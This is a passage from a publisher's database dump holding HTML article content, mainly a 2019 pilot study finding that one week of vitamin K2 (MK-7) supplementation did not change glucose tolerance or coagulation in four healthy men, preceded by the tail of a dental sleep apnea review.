Dentofacial Orthopedics 138: 559-576.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">27. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://erj.ersjournals.com/content/39/5/1241\">Marklund M, Verbraecken J, Randerath W (2012) Non-CPAP therapies in obstructive sleep apnoea: mandibular advancement device therapy. European Respiratory Journal 39: 1241-1247.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">28. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15078734\">Marklund M, Stenlund H, Franklin KA (2004) Mandibular Advancement Devices in 630 Men and Women with Obstructive Sleep Apnea and Snoring. Chest 125: 1270-1278.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">29. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16494093\">Ferguson KA, Cartwright R, Rogers R, Schmidt-Nowara W (2006) Oral appliances for snoring and obstructive sleep apnea: a review. Sleep 29: 244-262.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">30. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/23413266\">Phillips CL, Grunstein RR, Darendeliler MA, Mihailidou AS, Srinivasan VK, et al. (2013) Health outcomes of continuous positive airway pressure versus oral appliance treatment for obstructive sleep apnea: a randomized controlled trial. American journal of respiratory and critical care medicine 187: 879-887.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">31. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ajodo.org/article/S0889-5406(15)00040-2/abstract\">Wang X, Gong X, Yu Z, Gao X, Zhao Y (2015) Follow-up study of dental and skeletal changes in patients with obstructive sleep apnea and hypopnea syndrome with long-term treatment with the Silensor appliance. American Journal of Orthodontics and Dentofacial Orthopedics 147: 559-565.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">32. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/21063793\">El-Solh AA, Moitheennazima B, Akinnusi ME, Churder PM, Lafornara AM (2011) Combined oral appliance and positive airway pressure therapy for obstructive sleep apnea: a pilot study. Sleep and Breathing 15: 203-208.</a></span></span></p>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/15836a975.png\" style=\"height:224px; width:300px\" /><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/159b4eb72.png\" style=\"height:223px; width:300px\" /></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/160f5a789.png\" style=\"height:221px; width:300px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> different designs of MADs.</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1613f885b.png\" style=\"height:274px; width:600px\" /></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2:</strong> showing effect of MAD in Upper airway.</span></p>\r\n','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Mohamed AM, Yang Y (2019) Dentistry Point of View in the Obstructive Sleep Apnea and Snoring Patients: An Overview. Dent Ailments J: DDAJ-100001</span></span></p>\r\n','','1552099578.pdf',NULL,'1552099578.jpg','',0,1,'2019-03-09 08:16:17','2019-03-09 08:30:43',1),(41,28,'20','2019','Vitamin K2 (Menaquinone-7) Supplementation and its Effect on Glucose Tolerance Test in Healthy Volunteers','Sofia Dahlberg1, Daniel Larsson1, AndreRomner1, Ulf Schott1,2*','Research Article','Vitamin-K2-Menaquinone-7-Supplementation-and-its-Effect-on-Glucose-Tolerance-Test-in-Healthy-Volunteers','Vitamin-K2-Menaquinone-7-Supplementation-and-its-Effect-on-Glucose-Tolerance-Test-in-Healthy-Volunteers','Vitamin K2 (Menaquinone-7) Supplementation and its Effect on Glucose Tolerance Test in Healthy Volunteers','Vitamin-K2-Menaquinone-7-Supplementation-and-its-Effect-on-Glucose-Tolerance-Test-in-Healthy-Volunteers','<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Diabetes Management and Metabolism </strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Vitamin K2 (Menaquinone-7) Supplementation and its Effect on Glucose Tolerance Test in Healthy Volunteers</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Sofia Dahlberg<sup>1</sup>, Daniel Larsson<sup>1</sup>, Andr&eacute; Romner<sup>1</sup>, Ulf Sch&ouml;tt<sup>1,2*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>Department of Anaesthesia and Intensive Care, Institution of Clinical Science Lund, Medical Faculty, Lund University, Sweden</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>2</sup>Department of Anaesthesia and Intensive Care, Skane University Hospital Lund, Lund, Sweden</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author:</strong> Ulf Sch&ouml;tt, Department of Anesthesia and Intensive Care, Sk&aring;ne University Hospital, Lund, S-22185&nbsp; Sweden and Institution of Clinical Science Lund, Medical faculty, Lund University, Sweden, Tel: +46046171319, &nbsp;+46046171000, Fax: +46046176050; Email: <a href=\"mailto:ulf.schott@skane.se\">ulf.schott@skane.se</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Dahlberg S, Larsson D, Rommer A, Schott U (2019) Vitamin K2 (Menaquinone-7) Supplementation and its Effect on Glucose Tolerance Test in Healthy Volunteers. J Diabetes Metab Manag: JDMM-100002.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>06 February, 2019<strong>; Accepted Date: </strong>14<strong> </strong>February, 2019<strong>; Published Date: </strong>11 March, 2019</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Abstract </strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Background:</strong> Type 2 diabetes can often be managed by healthier diet and exercise in early stages of the disease, but as it progresses oral medication is needed and later on the patients will require insulin to survive. Vitamin K is a fat soluble vitamin that is a cofactor in gamma-carboxylation and activation of coagulation proteins produced in the liver. There are also extrahepatic proteins named Gla proteins that require vitamin K to be activated. Previous studies suggest that some of these proteins have a connection to calcification of vessels, bone mineralization, metabolic syndrome and diabetes, but results are conflicting.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Aims: </strong>To study if vitamin K2 MK-7 improves glucose tolerance in healthy non-diabetic volunteers. A secondary aim was to study K-vitamin effects on coagulation, especially from safety aspects - e.g. not to induce hypercoagulation.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research question: </strong>Can an adequate dose of 400 microgram of MK-7 for seven days affect the blood glucose tolerance test in healthy non-diabetic volunteers? Does it affect coagulation?</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Methods: </strong>Blood glucose tolerance where evaluated in five healthy voluntary men by an oral glucose tolerance test before and after seven days of MK-7 supplement. Venous blood was sampled from an indwelling brachial vein catheter. Fresh whole blood was used for glucose analyses with a HemoCue Glucose 201<sup>TM</sup> at 30 min, 60 min, 90 min and 120 min after 75 gram glucose oral intake. &nbsp;Citrated whole blood was simultaneously analyzed on a viscoelastic global coagulation tests ROTEM<sup>&reg;</sup></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Results: </strong>Glucose tolerance was not improved by one week of MK-7 supplement. There were no signs of MK-7 induced hypercoagulation.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Conclusions: </strong>Our small phase I pilot study did not indicate an improved glucose tolerance or any negative coagulation effects. Next step is to study MK-7&acute;s effect on glucose tolerance in type 2 diabetic patients.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Vitamin K functions as a cofactor in the carboxylation of several proteins, collectively referred to as Gla proteins. In the absence of vitamin K, Gla proteins have decreased or altered functionality. In addition to hepatic clotting factors several extra-hepatic Gla proteins have been identified, such as matrix Gla protein (MGP), osteocalcin (OC) and growth arrest specific gene 6 protein (Gas6). These have been suggested to be involved in the development of cardiovascular disease, diabetes and cancer which has motivated several preclinical and clinical studies in recent years [1].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diabetes and its related complications constitute a major global health challenge. In large-scale studies vitamin K intake has been associated with increased insulin sensitivity as well as decreased risk of type 2 diabetes, a more favorable lipid profile and decreased circulating inflammatory markers such as C-reactive protein (CRP) [2,3]. Furthermore, other studies indicate that a high intake of vitamin K2 is associated with more complete carboxylation of MGP and lower occurrence of the metabolic syndrome [4]. Study findings on vitamin K supplementation are scarce and contradictory, but it seems vitamin K2 is superior to vitamin K1 which may be related to its longer half-life and better bioavailability for extra-hepatic Gla proteins [5].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">As vitamin K is required for activation of hepatic clotting factors a plausible risk of vitamin K supplementation is hypercoagulability and increased risk of thrombosis. In subjects on stable vitamin K antagonist (VKA) treatment doses a low as 10 micrograms MK-7 were shown to interfere with their treatment. Furthermore, subjects on VKA treatment are discouraged from eating food rich in vitamin K, such as Japanese specialty natto. However, in subjects not on oral anticoagulants MK-7 supplementation does not increase thrombosis risk even at doses above the recommended daily intake [6].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The aim of the present study was to investigate whether supplementation with 400 microgram MK-7 during one week affected glucose tolerance in healthy volunteers. As a secondary aim, thromboelastometry was used to evaluate safety of MK-7 with respect to the hemostatic system.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Material and Methods</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Study design</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This pilot study was approved by the regional ethical review board in Lund 2010-08-26, DNR 482-100. Healthy male volunteers were eligible for inclusion. Participants were supplemented with 400 microgram MK-7 for one week. Oral glucose tolerance tests and thromboelastometry were performed before supplementation and again after one week. Exclusion criteria were treatment with drugs that interact with vitamin K status such as warfarin or drugs that may affect glucose metabolism such as corticosteroids.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Participants were provided oral and written information about the study and were informed that they could drop out at any time. They were also informed that they should be fasting form midnight the day before the glucose tolerance tests and not use tobacco on the day of the test.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Blood sampling</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Venous blood were drawn using a peripheral venous catheter. Before each sampling 5 ml blood were drawn and discarded. Following that, 1 ml of blood were applied to a HemoCue cuvette and analyzed immediately. For the ROTEM analysis a 2.7 ml citrated tube (Becton-Dickinson Vacutainer 0,109 M) was used to collect the blood. After each sampling the venous catheter was flushed with sodium chloride to avoid coagulation.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Oral glucose tolerance test (OGTT)</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Before the OGTT participants were fasting and baseline plasma glucose were obtained (0 min). Participants were then instructed to drink 75g APL glucose dissolved in 250 ml water within five minutes. Blood samples for ROTEM analyses and analysis of plasma glucose were obtained after 30, 60, 90 and 120 minutes. The coefficient of variation for OGTT was 15-20%.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Hemocue</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">HemoCue Glocuse 201+ was used to analyse plasma glucose at 0, 30, 60, 90 and 120 minutes. Disposable reagent-containing microcuvettes were filled with venous blood and analysed photometrically. The microcuvettes were stored in a fridge (4-8 C) until 30 minutes before analysis, according to the manufacturers&rsquo; instructions.&nbsp;&nbsp;</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Rotem</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Thromboelastometry (ROTEM) is a viscoelastic point of care (POC) instrument for analyzing coagulation of whole blood. The EXTEM program was used and the following parameters (with their respective reference range) were analyzed: CT (clotting time) 42-74 seconds, CFT (clot formation time) 46-148 seconds, &alpha;-angle (clot strengthening) 63-81&deg; and MCF (maximum clot firmness) 49-71 mm.<sup>&nbsp; </sup>ROTEM- EXTEM has a coefficient of variation that varies with the parameter: CT (&lt;15%), CFT (&lt;4%), &alpha;-angle (&lt;3%) and MCF (&lt;3%).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">At each sampling time the four channels of the ROTEM machine were loaded with a cuvette. The reagents STARTEM and EXTEM were mixed with 0.36 ml venous blood and added to the cuvettes.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>MK-7</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">All study participants were given 14 capsules MenaQ7 from NattoPharma (Oslo, Norway). Each capsule contained 200 microgram MenaQ7<sup>&reg;</sup> and 10 microgram vitamin D3. Participants were instructed to take two capsules each morning during one week.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Statistics</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Statistics were processed using Microsoft Excel and GraphPad Prism. The area under the curve was computed for the glucose values before and after vitamin K supplementation using a trapezoid model.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Wilcoxon&rsquo;s matched-pairs signed rank test was used to compare differences before and after supplementation. A p-value of &lt;0.05 was considered statistically significant.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Results</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Five participants were included in the study. One subject did not complete the study due to an allergic reaction to the venous catheter used for blood sampling. Results are therefore calculated based on the values of the remaining four participants.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>OGTT before and after MK-7 supplementation</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The individual glucose values of each participant were used to compute the mean value of plasma glucose at 30, 60, 90 and 120 minutes after the OGTT at baseline and after one week of vitamin K supplementation. A trapezoid model in Excel was used to compute the area under the curve (AUC) and mean values were used to calculate change over time.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">There was no significant change in the AUC before or after MK-7-supplemenation (p = 0.0625). Figure 1 shows the OGTT before and after vitamin K supplementation. Individual plasma glucose values are detailed in Tables 1- 4.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>ROTEM before and after MK-7 supplementation</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The individual values of CT, CFT &alpha;-angle and MCF were used to compute median values. The median was used since two CFT values were significantly deviating from the others. There was no significant change in ROTEM parameters CT, CFT, &alpha;-angle and MCF when comparing before and after one week of MK-7 supplementation. The median values for CT, CFT, &alpha;-angle and MCF are shown in Figure 2-5.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Discussion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the present study the effect of one week supplementation with 400 microgram MK-7 on glucose tolerance and hemostatic system in healthy subjects was evaluated using OGTT and thromboelastometry. No significant changes were demonstrated, i.e. glucose tolerance was not improved and there were no adverse effects on coagulation. This is concordant with a previous similar study where 12 healthy young males were given 90 mg vitamin K2 MK-4 daily during one week and glucose loading response were evaluated before and after with no change [6]. In this study authors did demonstrate a significant decrease in immunoreactive insulin (IRI) in the participants with a high baseline serum descarboxy-prothrombin (DCP, PIVKA-II) and postulated that during vitamin K deficiency a relative glucose intolerance may be present. In the present study neither vitamin K status nor IRI were evaluated. The results from this study is also in line with previous findings where healthy subjects were given up to 360 &micro;g MK-7 for 12 weeks with no effect on thrombin generation [<a href=\"#_ENREF_6\" title=\"Theuwissen, 2012 #1\">7</a>].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The existing evidence for the role of vitamin K in development of diabetes is conflicting. Some studies suggest that increased levels of vitamin K dependent protein growth arrest specific gene 6 protein (gas6) are associated with insulin resistance [<a href=\"#_ENREF_8\" title=\"Hsiao, 2013 #9\">8</a>], and that genetic variations of gas6 increases the risk of the metabolic syndrome [<a href=\"#_ENREF_9\" title=\"Li, 2018 #10\">9</a>]. A recent systematic review concluded that glycemic control was not significantly affected by vitamin K supplementation, but that further well-designed studies on diabetic and pre-diabetic patients are needed [<a href=\"#_ENREF_10\" title=\"Shahdadian, 2018 #11\">10</a>]. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Limitations on the present study include a very small study population, short observation time and limited access to equipment to be able to perform more advanced tests such as plasma insulin. Furthermore, when using the OGTT plasma glucose levels change quickly, and the variation between repeated samples is relatively high [<a href=\"#_ENREF_11\" title=\",  #8\">11</a>]. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">One study participant could not sit and rest between the blood samples at the first sampling time. Due to this it is possible that more glucose was consumed which is reflected by the lower values (Table 1). The fasting period for study subject 4 and 5 was a few hours longer at baseline compared to the second OGTT, which might have contributed to better glucose tolerance at baseline. It is also possible that participants did not adhere to the instructions given prior to entering the study. In addition to MK-7, the capsules also contained vitamin D3. Even though the dose was relatively low, interactions cannot be excluded. <strong>Conclusion</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In this study, one week of supplementation with MK-7 to healthy young males did not affect glucose tolerance or thromboelastography. Larger studies are needed on patients with impaired glucose metabolism who are supplemented for a longer period of time.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>References</strong></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1002/mnfr.201300743\">Willems BA, et al. (2014) The realm of vitamin K dependent proteins: shifting from coagulation toward calcification. Mol Nutr Food Res 58: 1620-1635.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/ajcn/88.1.210\">Yoshida M, et al. (2008) Phylloquinone intake, insulin sensitivity, and glycemic status in men and women. Am J Clin Nutr 88: 210-215.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.2337/dc09-2302\">Beulens JW, et al. (2010) Dietary phylloquinone and menaquinones intakes and risk of type 2 diabetes. Diabetes Care 33: 1699-1705.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1210/jc.2014-4449\">Dam V, et al. (2015) Association Between Vitamin K and the Metabolic Syndrome: A 10-Year Follow-Up Study in Adults. J Clin Endocrinol Metab 100: 2472-2479.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1017/jns.2015.25\">Knapen MH, et al. (2015) Yogurt drink fortified with menaquinone-7 improves vitamin K status in a healthy population. J Nutr Sci 4: p e35.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1054/clnu.2000.0102\">Sakamoto N, et al. (2000) Possible effects of one week vitamin K (menaquinone-4) tablets intake on glucose tolerance in healthy young male volunteers with different descarboxy prothrombin levels. Clin Nutr 19: &nbsp;259-263.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1017/s0007114511007185\">Theuwissen E, et al. (2012) Low-dose menaquinone-7 supplementation improved extra-hepatic vitamin K status, but had no effect on thrombin generation in healthy subjects. Br J Nutr 108: 1652-1657.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1210/jc.2012-3179\">Hsiao FC, et al. (2013) Circulating growth arrest-specific 6 protein is associated with adiposity, systemic inflammation, and insulin resistance among overweight and obese adolescents. J Clin Endocrinol Metab 98: E267-274.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1089/met.2017.0143\">Li YH, et al. (2018) Plasma Growth Arrest-Specific 6 Protein and Genetic Variations in the GAS6 Gene in Patients with Metabolic Syndrome. Metab Syndr Relat Disord&nbsp; 17: 22-28.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1055/s-0044-100616\">Shahdadian, F, H Mohammadi and MH Rouhani (2018) Effect of Vitamin K Supplementation on Glycemic Control: A Systematic Review and Meta-Analysis of Clinical Trials. Horm Metab Res 50: 227-235.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">http://analysportalenlabmedicin.skane.se/pics/Labmedicin/Verksamhetsomr%E5den/Klinisk%20kemi/Analyser/Skane/Glukostolerans%20test%20 (OGTT) pdf.</span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/162c131b1.png\" style=\"height:261px; width:500px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1</strong>: Distribution and mean value of plasma glucose at 0, 30, 60, 90 and 120 minutes before and after vitamin K supplementation P-value 0.0625.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1635d366a.png\" style=\"height:250px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2: </strong>Median value of clotting time at 0, 30, 60, 90 and 120 minutes before and after MK-7 supplementation. P-value 0.3125</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/164643fa5.png\" style=\"height:232px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 3: </strong>Median value of clot formation time at 0, 30, 60, 90 and 120 minutes before and after MK-7 supplementation. P-value 0.6250</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1658e26a6.png\" style=\"height:235px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 4:<em> </em></strong>Median value of clot strengthening at 0, 30, 60, 90 and 120 minutes before and after MK-7 supplementation. P-value 0.8125</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1661cd09e.png\" style=\"height:240px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 5: </strong>Median value of maximum clot firmness at 0, 30, 60, 90 and 120 minutes before and after MK-7 supplementation. P-value 0.0625</span></span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Dahlberg S, Larsson D, Rommer A, Schott U (2019) Vitamin K2 (Menaquinone-7) Supplementation and its Effect on Glucose Tolerance Test in Healthy Volunteers. J Diabetes Metab Manag: JDMM-100002.</span></span></p>\r\n','<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#4caf50; width:92.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Study participant</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:74.05pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P-glucose 0min</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:72.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P-glucose 30min</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:72.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P-glucose 60min</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:72.45pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P-glucose 90min</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:78.3pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P-glucose 120min</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:74.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.2</span></p>\r\n			</td>\r\n			<td style=\"width:72.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.6</span></p>\r\n			</td>\r\n			<td style=\"width:72.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.8</span></p>\r\n			</td>\r\n			<td style=\"width:72.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.1</span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">2</span></strong></p>\r\n			</td>\r\n			<td style=\"width:74.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.8</span></p>\r\n			</td>\r\n			<td style=\"width:72.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.9</span></p>\r\n			</td>\r\n			<td style=\"width:72.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.5</span></p>\r\n			</td>\r\n			<td style=\"width:72.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td 